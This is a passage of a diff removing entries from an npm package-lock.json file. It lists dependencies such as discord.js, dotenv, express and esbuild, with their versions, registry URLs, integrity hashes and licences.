"sha512-4oBp8tc6Kf8IDBwAHhbsMaAqx1b5fob9SNasZT7V6yyyUydoO5i5fGuX7TmvRtR+q/WgKRnRViRoAWnG7fNyvA==", - "license": "Apache-2.0", - "dependencies": { - "@discordjs/builders": "^1.14.1", - "@discordjs/collection": "1.5.3", - "@discordjs/formatters": "^0.6.2", - "@discordjs/rest": "^2.6.1", - "@discordjs/util": "^1.2.0", - "@discordjs/ws": "^1.2.3", - "@sapphire/snowflake": "3.5.3", - "discord-api-types": "^0.38.40", - "fast-deep-equal": "3.1.3", - "lodash.snakecase": "4.1.1", - "magic-bytes.js": "^1.13.0", - "tslib": "^2.6.3", - "undici": "6.24.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/discordjs/discord.js?sponsor" - } - }, - "node_modules/discord.js/node_modules/undici": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", - "integrity": "sha512-sC+b0tB1whOCzbtlx20fx3WgCXwkW627p4EA9uM+/tNNPkSS+eSEld6pAs9nDv7WbY1UUljBMYPtu9BCOrCWKA==", - "license": "MIT", - "engines": { - "node": ">=18.17" - } - }, - "node_modules/doctypes": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", - "integrity": "sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/dom-serializer": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", - "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", - "license": "MIT", - "dependencies": { - "domelementtype": "^2.3.0", - "domhandler": "^5.0.2", - "entities": "^4.2.0" - }, - "funding": { - "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" - } - }, - "node_modules/domelementtype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", - "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fb55" - } - ], - "license": "BSD-2-Clause" - }, - "node_modules/domhandler": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", - "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", - "license": "BSD-2-Clause", - "dependencies": { - "domelementtype": "^2.3.0" - }, - "engines": { - "node": ">= 4" - }, - "funding": { - "url": "https://github.com/fb55/domhandler?sponsor=1" - } - }, - "node_modules/domutils": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", - "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", - "license": "BSD-2-Clause", - "dependencies": { - "dom-serializer": "^2.0.0", - "domelementtype": "^2.3.0", - "domhandler": "^5.0.3" - }, - "funding": { - "url": "https://github.com/fb55/domutils?sponsor=1" - } - }, - "node_modules/dot-prop": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-6.0.1.tgz", - "integrity": "sha512-tE7ztYzXHIeyvc7N+hR3oi7FIbf/NIjVP9hmAt3yMXzrQ072/fpjGLx2GxNxGxUl5V73MEqYzioOMoVhGMJ5cA==", - "license": "MIT", - "dependencies": { - "is-obj": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/dotenv": { - "version": "17.4.2", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", - "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dotenv-expand": { - "version": "12.0.3", - "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-12.0.3.tgz", - "integrity": "sha512-uc47g4b+4k/M/SeaW1y4OApx+mtLWl92l5LMPP0GNXctZqELk+YGgOPIIC5elYmUH4OuoK3JLhuRUYegeySiFA==", - "license": "BSD-2-Clause", - "dependencies": { - "dotenv": "^16.4.5" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dotenv-expand/node_modules/dotenv": { - "version": "16.6.1", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", - "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/duplexify": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.3.tgz", - "integrity": "sha512-M3BmBhwJRZsSx38lZyhE53Csddgzl5R7xGJNk7CVddZD6CcmwMCH8J+7AprIrQKH7TonKxaCjcv27Qmf+sQ+oA==", - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.4.1", - "inherits": "^2.0.3", - "readable-stream": "^3.1.1", - "stream-shift": "^1.0.2" - } - }, - "node_modules/eastasianwidth": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", - "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", - "license": "MIT" - }, - "node_modules/ecdsa-sig-formatter": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", - "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", - "license": "Apache-2.0", - "dependencies": { - "safe-buffer": "^5.0.1" - } - }, - "node_modules/ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", - "license": "MIT" - }, - "node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "license": "MIT" - }, - "node_modules/encodeurl": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/end-of-stream": { - "version": "1.4.5", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", - "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", - "license": "MIT", - "dependencies": { - "once": "^1.4.0" - } - }, - "node_modules/enhanced-resolve": { - "version": "5.21.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.21.2.tgz", - "integrity": "sha512-xe9vQb5kReirPUxgQrXA3ihgbCqssmTiM7cOZ+Gzu+VeGWgpV98lLZvp0dl4yriyAePcewxGUs9UpKD8PET9KQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "tapable": "^2.3.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/entities": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", - "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-module-lexer": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.1.0.tgz", - "integrity": "sha512-n27zTYMjYu1aj4MjCWzSP7G9r75utsaoc8m61weK+W8JMBGGQybd43GstCXZ3WNmSFtGT9wi59qQTW6mhTR5LQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/es-object-atoms": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/esbuild": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz", - "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.7", - "@esbuild/android-arm": "0.27.7", - "@esbuild/android-arm64": "0.27.7", - "@esbuild/android-x64": "0.27.7", - "@esbuild/darwin-arm64": "0.27.7", - "@esbuild/darwin-x64": "0.27.7", - "@esbuild/freebsd-arm64": "0.27.7", - "@esbuild/freebsd-x64": "0.27.7", - "@esbuild/linux-arm": "0.27.7", - "@esbuild/linux-arm64": "0.27.7", - "@esbuild/linux-ia32": "0.27.7", - "@esbuild/linux-loong64": "0.27.7", - "@esbuild/linux-mips64el": "0.27.7", - "@esbuild/linux-ppc64": "0.27.7", - "@esbuild/linux-riscv64": "0.27.7", - "@esbuild/linux-s390x": "0.27.7", - "@esbuild/linux-x64": "0.27.7", - "@esbuild/netbsd-arm64": "0.27.7", - "@esbuild/netbsd-x64": "0.27.7", - "@esbuild/openbsd-arm64": "0.27.7", - "@esbuild/openbsd-x64": "0.27.7", - "@esbuild/openharmony-arm64": "0.27.7", - "@esbuild/sunos-x64": "0.27.7", - "@esbuild/win32-arm64": "0.27.7", - "@esbuild/win32-ia32": "0.27.7", - "@esbuild/win32-x64": "0.27.7" - } - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", - "license": "MIT" - }, - "node_modules/escodegen": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", - "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", - "license": "BSD-2-Clause", - "dependencies": { - "esprima": "^4.0.1", - "estraverse": "^5.2.0", - "esutils": "^2.0.2" - }, - "bin": { - "escodegen": "bin/escodegen.js", - "esgenerate": "bin/esgenerate.js" - }, - "engines": { - "node": ">=6.0" - }, - "optionalDependencies": { - "source-map": "~0.6.1" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "license": "BSD-2-Clause", - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/event-target-shim": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", - "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/eventemitter3": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", - "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/eventid": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/eventid/-/eventid-2.0.1.tgz", - "integrity": "sha512-sPNTqiMokAvV048P2c9+foqVJzk49o6d4e0D/sq5jog3pw+4kBgyR0gaM1FM7Mx6Kzd9dztesh9oYz1LWWOpzw==", - "license": "Apache-2.0", - "dependencies": { - "uuid": "^8.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/eventid/node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "license": "MIT", - "bin": { - "uuid": "dist/bin/uuid" - } - }, - "node_modules/events-universal": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/events-universal/-/events-universal-1.0.1.tgz", - "integrity": "sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==", - "license": "Apache-2.0", - "dependencies": { - "bare-events": "^2.7.0" - } - }, - "node_modules/eventsource": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", - "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==", - "license": "MIT", - "dependencies": { - "eventsource-parser": "^3.0.1" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/eventsource-parser": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.0.6.tgz", - "integrity": "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg==", - "license": "MIT", - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/execa": { - "version": "9.6.1", - "resolved": "https://registry.npmjs.org/execa/-/execa-9.6.1.tgz", - "integrity": "sha512-9Be3ZoN4LmYR90tUoVu2te2BsbzHfhJyfEiAVfz7N5/zv+jduIfLrV2xdQXOHbaD6KgpGdO9PRPM1Y4Q9QkPkA==", - "license": "MIT", - "dependencies": { - "@sindresorhus/merge-streams": "^4.0.0", - "cross-spawn": "^7.0.6", - "figures": "^6.1.0", - "get-stream": "^9.0.0", - "human-signals": "^8.0.1", - "is-plain-obj": "^4.1.0", - "is-stream": "^4.0.1", - "npm-run-path": "^6.0.0", - "pretty-ms": "^9.2.0", - "signal-exit": "^4.1.0", - "strip-final-newline": "^4.0.0", - "yoctocolors": "^2.1.1" - }, - "engines": { - "node": "^18.19.0 || >=20.5.0" - }, - "funding": { - "url": "https://github.com/sindresorhus/execa?sponsor=1" - } - }, - "node_modules/execa/node_modules/get-stream": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-9.0.1.tgz", - "integrity": "sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==", - "license": "MIT", - "dependencies": { - "@sec-ant/readable-stream": "^0.4.1", - "is-stream": "^4.0.1" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/execa/node_modules/is-stream": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-4.0.1.tgz", - "integrity": "sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/execa/node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/expect-type": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", - "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/express": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", - "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", - "license": "MIT", - "dependencies": { - "accepts": "^2.0.0", - "body-parser": "^2.2.1", - "content-disposition": "^1.0.0", - "content-type": "^1.0.5", - "cookie": "^0.7.1", - "cookie-signature": "^1.2.1", - "debug": "^4.4.0", - "depd": "^2.0.0", - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "etag": "^1.8.1", - "finalhandler": "^2.1.0", - "fresh": "^2.0.0", - "http-errors": "^2.0.0", - "merge-descriptors": "^2.0.0", - "mime-types": "^3.0.0", - "on-finished": "^2.4.1", - "once": "^1.4.0", - "parseurl": "^1.3.3", - "proxy-addr": "^2.0.7", - "qs": "^6.14.0", - "range-parser": "^1.2.1", - "router": "^2.2.0", - "send": "^1.1.0", - "serve-static": "^2.2.0", - "statuses": "^2.0.1", - "type-is": "^2.0.1", - "vary": "^1.1.2" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/express-rate-limit": { - "version": "8.3.1", - "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.3.1.tgz", - "integrity": "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw==", - "license": "MIT", - "dependencies": { - "ip-address": "10.1.0" - }, - "engines": { - "node": ">= 16" - }, - "funding": { - "url": "https://github.com/sponsors/express-rate-limit" - }, - "peerDependencies": { - "express": ">= 4.11" - } - }, - "node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "license": "MIT" - }, - "node_modules/extract-zip": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", - "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", - "license": "BSD-2-Clause", - "dependencies": { - "debug": "^4.1.1", - "get-stream": "^5.1.0", - "yauzl": "^2.10.0" - }, - "bin": { - "extract-zip": "cli.js" - }, - "engines": { - "node": ">= 10.17.0" - }, - "optionalDependencies": { - "@types/yauzl": "^2.9.1" - } - }, - "node_modules/fast-check": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-4.7.0.tgz", - "integrity": "sha512-NsZRtqvSSoCP0HbNjUD+r1JH8zqZalyp6gLY9e7OYs7NK9b6AHOs2baBFeBG7bVNsuoukh89x2Yg3rPsul8ziQ==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/dubzzz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fast-check" - } - ], - "license": "MIT", - "dependencies": { - "pure-rand": "^8.0.0" - }, - "engines": { - "node": ">=12.17.0" - } - }, - "node_modules/fast-content-type-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-3.0.0.tgz", - "integrity": "sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "license": "MIT" - }, - "node_modules/fast-fifo": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", - "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", - "license": "MIT" - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "license": "MIT" - }, - "node_modules/fast-sha256": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", - "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", - "license": "Unlicense" - }, - "node_modules/fast-string-truncated-width": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/fast-string-truncated-width/-/fast-string-truncated-width-3.0.3.tgz", - "integrity": "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==", - "license": "MIT" - }, - "node_modules/fast-string-width": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/fast-string-width/-/fast-string-width-3.0.2.tgz", - "integrity": "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==", - "license": "MIT", - "dependencies": { - "fast-string-truncated-width": "^3.0.2" - } - }, - "node_modules/fast-uri": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", 